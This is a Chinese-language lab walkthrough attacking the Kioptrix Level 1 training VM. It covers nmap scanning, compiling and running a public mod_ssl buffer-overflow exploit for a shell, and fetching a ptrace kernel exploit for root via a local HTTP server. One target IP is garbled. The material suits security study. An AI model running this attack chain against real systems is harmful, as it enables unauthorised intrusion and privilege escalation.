免责声明
学习视频来自 B 站up主泷羽sec,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
泷羽sec官网:https://longyusec.com/
泷羽sec B站地址:https://space.bilibili.com/350329294
泷羽sec帮会:https://wiki.freebuf.com/front/societyFront?invitation_code=5a2005d9&society_id=239&source_data=2
Kioptix Level 1靶场配置
Kioptrix: Level 1靶机的默认网络模式是桥接,在某些情况下,你希望将其修改为NAT模式,解决步骤如下:
- 关闭Kioptrix: Level 1 VM 并在VMWARE中移除网络适配器。
- 从 VMware 中移除 VM(注意并不是从磁盘删除)。
- 浏览到 Kioptrix: Level 1 VMVM 的 VMX 文件的位置并用文本编辑器中开它。
- 删除所有以“ethernet0”开头的条目并保存更改。
- 然后重新导入虚拟机,并将增加网络设备器,并且其模式为NAT
靶场运行界面演示
补充nmap使用
nmap
是一种强大的网络扫描工具,可以用于发现网络中的设备、服务以及潜在的安全漏洞。以下是一些常用的 nmap
命令和选项。
- 基础命令
- 扫描单个 IP 地址:
nmap <target_ip>
扫描多个 IP 地址(使用空格分隔):
nmap <target_ip1> <target_ip2>
扫描整个子网:
-
nmap 192.168.1.0/24
nmap -sn 192.168.153.0/24
- 功能: 使用
-sn
选项表示进行“ping 扫描”(Ping Scan),即只检查哪些主机是在线的,而不进行端口扫描。 - 结果: 只返回网络中活动的主机列表,不会报告开放的端口或服务信息。
nmap 192.168.153.0/24
- 功能: 默认行为是不带
-sP
或-sn
选项的全面扫描,通常会进行主机发现及端口扫描。这包括对每个在线主机进行多种探测,包括 TCP SYN 扫描、UDP 扫描等。 - 结果: 返回关于在线主机的更全面的信息,包括开放的端口和正在运行的服务。
- 功能: 使用
- 端口扫描
- 快速扫描常见端口:
nmap -F <target_ip>
扫描特定端口(例如,扫描 TCP 80 和 443):
nmap -p 80,443 <target_ip>
扫描所有 TCP 端口:
-
nmap -p 1-65535 <target_ip>
- 服务和版本探测
-
检测开放端口及其服务
-
nmap -sV <target_ip>
- 操作系统检测
-
尝试识别目标主机的操作系统
-
nmap -O <target_ip>
- 使用 Nmap 脚本引擎 (NSE)
- 运行所有默认脚本:
nmap -sC <target_ip>
运行特定类型的脚本(如与漏洞相关的脚本):
-
nmap --script vuln <target_ip>
- 进行高级扫描
- TCP SYN 扫描(隐蔽性高):
nmap -sS <target_ip>
UDP 扫描:
nmap -sU <target_ip>
同时进行 TCP 和 UDP 扫描:
-
nmap -sS -sU <target_ip>
- 扫描保存结果
- 将扫描结果保存为文本文件:
nmap -oN output.txt <target_ip>
将扫描结果保存成 XML 格式:
-
nmap -oX output.xml <target_ip>
- 使用输出格式
-
综合输出多种格式
(包括文本、XML 和 grepable):
-
nmap -oA output <target_ip>
示例命令
这是一个结合了多个功能的复杂命令示例:
nmap -sS -sV -O -p 1-65535 --script=default,vuln 192.168.1.1
这条命令会尝试:
- 执行 SYN 扫描(-sS)
- 检测服务版本(-sV)
- 识别操作系统(-O)
- 扫描所有端口(-p 1-65535)
- 运行默认脚本和漏洞相关脚本(–script=default,vuln)
泷哥方向:找端口→端口服务版本→服务的历史漏洞→找poc验证是否存在漏洞→找exp进行利用→提权获得root权限
获取靶机ip
ifconfig(查看本机的网段)
arp-scan -l(靶机ip扫描)
arp-scan
是一个用于发现局域网中活动设备的命令行工具。使用arp-scan -l
命令,您可以扫描本地网络并列出所有响应的设备。-l
参数指示arp-scan
自动检测本地子网并进行扫描。这意味着它会使用您的主机的 IP 地址和子网掩码来确定要扫描的范围。
本机ip:192.168.153.129
靶机ip:192.168.153.138
靶机端口扫描
nmap -p- 192.168.153.138
- 使用
nmap -p- ip
命令可以扫描目标 IP 地址上的所有端口。 -p-
:这个选项表示扫描 1 到 65535 之间的所有 TCP 端口。
开放端口22,80,111,139,443,1024
获取端口后,对端口进行深入的探测,探测端口版本和系统版本
nmap 192.168.162.129 -p 22,80,111,139,443,1024 -sV
-sC -O --version-all
192.168.162.129
:这是您要扫描的目标 IP 地址。-sV
:这个选项用于检测运行在开放端口上的服务的版本信息。-sC
:该选项启用 Nmap 的默认脚本扫描,自动执行一些常见的安全测试和策略评估脚本。-O
:这个选项用于尝试识别目标主机的操作系统。--version-all
:该参数会使 Nmap 尝试识别每一个已知的服务版本,而不仅仅是其默认的版本检测。
上面可以查端口使用的服务及相对应版本,及服务器自身系统和版本,细心的话可以发现上面Apache 1.3.20版本。主机做全面扫描,查端口情况、服务版本、操作系统以及安全相关问题。
nmap -p 22,80,111,139,443,1024 --script=vuln
-p 22,80,111,139,443,1024
:这部分指定要扫描的端口列表。--script=vuln
:这个选项会让 Nmap 使用与漏洞相关的 Nmap 脚本(NSE,Nmap Scripting Engine),扫描提供的端口以查找已知漏洞。
上面对于我这个新手我现在能用上的信息。
目录
/test.php
/icons/
/manual/
/usage/
Apache版本:Apache 1.3.20
使用searchsploit寻找Apache 1.3.20漏洞
searchsploit Apache 1.30.20
因为kali下载文件有损坏
到https://www.exploit-db.com/ 下载
搜索 mod_ssl
下载 Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (2)
然后拖入到kali ./47080.c
gcc -o 470 47080.c (因为是c exp要编译 gcc编译 文件 -o命名为 470文件 要编译的文件 47080.c )
-
gcc
:GNU Compiler Collection,用于编译 C 语言及其他语言的编译器。 -
-o 470
:这个选项指定编译后生成的可执行文件名称为470
。如果不指定,默认生成的可执行文件名将是a.out
。 -
47080.c
:这是要编译的 C 源文件的文件名。
gcc -o 470 47080.c -lcrypto ( -lcrypto这个需要换源下载 下载命令 sudo apt-get install libssl-dev ) -
gcc
:GNU Compiler Collection,用于编译 C 语言程序。 -
-o 470
:指定生成的可执行文件名为470
。如果不使用此选项,默认生成的可执行文件为a.out
。 -
47080.c
:这是要编译的 C 源代码文件。 -
-lcrypto
:这个选项告诉编译器链接 OpenSSL 的 Crypto 库。该库提供了一些加密和解密功能。
有的人可能编译不了,请切换kali的源进行编译,建议换成腾讯源(我这里是警告,对编译文件使用不影响)
./470 | grep "1.3.20"
./470
:执行当前目录下名为470
的可执行文件。|
:管道符,将左侧命令的输出作为右侧命令的输入。grep "1.3.20"
:搜索包含字符串 “1.3.20” 的行,并将这些行显示出来。
执行exp链接 shell
./470 0x6b 192.168.15s3.138 -c 40
第一次打靶场输入whoami所显示的用户应该是apache低用户,我这已经提过权,所以是root,但是步骤没有问题
提权
下载提权脚本,有的人在kali中下载报错,直接从自己的windows中下载,然后拖入kali
wget https://dl.packetstormsecurity.net/0-exploits/ptrace-kmod.c
ls进行查看ptrace-kmod.c文件
开启本机80端口
sudo python -m http.server 80 (开启80端口监听)
开启本机80端口,方便将提权脚本从本机下载到靶机,进行提权,在kali中开两个窗口一个开启80端口,一个对靶机进行提权
继续进行靶机连接,对靶机上传提权脚本,进行提权
./470 0x6b 192.168.15s3.138 -c 40
exit退出
再次进行连接靶机
./470 0x6b 192.168.15s3.138 -c 40
whoami查看权限,回显root说明提权成功